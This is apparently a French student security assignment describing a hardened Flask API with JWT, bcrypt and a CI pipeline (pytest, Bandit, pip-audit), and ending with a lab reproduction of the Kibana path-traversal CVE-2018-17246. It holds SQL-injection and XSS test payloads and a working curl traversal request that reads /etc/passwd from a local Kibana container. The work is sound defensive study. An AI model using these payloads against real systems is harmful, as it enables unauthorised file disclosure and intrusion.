
HDU IS Work 1 - API REST sécurisée (Flask) avec CI/CD (pytest + bandit + pip-audit) et analyse de CVE-2018-17246
API REST sécurisée en Python/Flask, CI/CD via GitHub Actions (SAST + SCA + tests automatisés), et une analyse complète d'une CVE réelle reproduite dans un environnement Docker (LFI Kibana, CVE-2018-17246).
Nom : Guhaotian Numéro HDU : 23320209
https://github.com/ght657/work1-secure-api (public)POST /auth/login — émet un JWT signé après vérification du hachage du mot de passe.GET /api/data — protégé par JWT (jeton Bearer) ; renvoie les enregistrements de l'utilisateur courant.GET /api/users/search?q= — point de terminaison de lecture protégé avec requête SQL à paramètres liés.POST /api/posts (protégé par JWT) démontrant la protection contre les XSS stockées / l'échappement des sorties.Fichier de workflow : .github/workflows/ci.yml, déclenché à chaque push sur main.
| Job | Outillage | Ce qu'il fait | Preuve |
|---|---|---|---|
test | pytest 8 | exécute la suite de 11 tests | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | analyse statique de app/, tests/ (rapport JSON téléversé comme artefact) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | audit des dépendances (rapport JSON téléversé comme artefact) | evidence/09_pip_audit_report.png |
Le pipeline échoue si un test échoue ou si une anomalie SAST/SCA subsiste, donc un pipeline en échec signifie qu'un correctif doit être poussé avant la fusion.
11 tests, tous réussis (pytest -q) :
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
Le code de l'application est le nôtre, donc une première exécution ne contient naturellement aucun bruit provenant de tiers. Résultat : 0 problème :
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit liste toutes les dépendances présentant des CVE connues ; l'exécution initiale a révélé :
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
19 entrées au total (Flask, PyJWT ×17, python-dotenv). J'ai mis à niveau vers les versions corrigées :
Flask 3.1.3, PyJWT 2.15.0 et supprimé python-dotenv (assistant de configuration optionnel uniquement —
la version corrigée 1.2.2 exige Python ≥ 3.10 alors que le venv d'audit est en 3.9).
Après la correction :
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)
L'API a été testée face aux attaques classiques avec curl. Captures d'écran dans evidence/ :
POST /auth/login avec username: "admin'--" renvoie 401 Invalid credentials —
la recherche utilise une requête paramétrée ORM sur les identifiants hachés, la charge
injectée reste une donnée et ne devient jamais du SQL.
GET /api/users/search?q=%' OR '1'='1 → la chaîne est liée comme paramètre à
SELECT ... WHERE username LIKE ? (caractères génériques échappés), elle ne correspond donc à rien et l'API
renvoie une liste vide — aucune erreur et aucun vidage complet de la table.
POST /api/posts avec title: "<script>alert('xss')</script>" ; le serveur stocke la
chaîne brute mais l'échappe en sortie (markupsafe.escape + jsonify), la charge
renvoyée est donc <script>alert('xss')</script> — un navigateur affiche le texte, il ne
l'exécute pas. (La reproduction avec un rendu navigateur est montrée dans evidence/06_xss_readback.png.)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + données protégées (evidence/04_data_with_token.png)401 (vérification de signature avec HS256)401 (expiration à 60 minutes)Authorization: Bearer <token>
(evidence/10_jwt_structure.png montre la structure en 3 parties).Les mots de passe sont stockés sous forme de hachages bcrypt (12 rounds) et ne sont jamais renvoyés par aucun endpoint
(test test_passwords_stored_as_bcrypt_hashes).
/etc/passwd), et — parce que la route vulnérable exige le fichier comme
module JS — si un chemin inscriptible est atteignable (par ex. via une autre faille ou un
fichier temporaire généré), du JS contrôlé par l'attaquant peut être exécuté par le processus Kibana.GET /api/console/api_server?apis=../../../../../../etc/passwd — le paramètre apis
est passé à require() après seulement une simple vérification de chemin, permettant aux séquences ..
de s'échapper du répertoire api côté serveur et de lire/exécuter des fichiers arbitraires.J'utilise l'image publique vulhub (déjà publiée, vérifiée vulnérable) :
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — voir
CVE-2018-17246/docker-compose.yml (dossier du même nom dans ce dépôt).
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
Étape 1 — déclencher le LFI (l'API Console accepte un chemin apis qui est résolu comme un fichier) :
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
La réponse est 500 (le fichier n'est pas un module JS valide) mais le contenu du fichier apparaît dans
le journal du serveur — Kibana lit le fichier et tente de le require() :
docker compose logs kibana | grep -i "passwd\|root:x"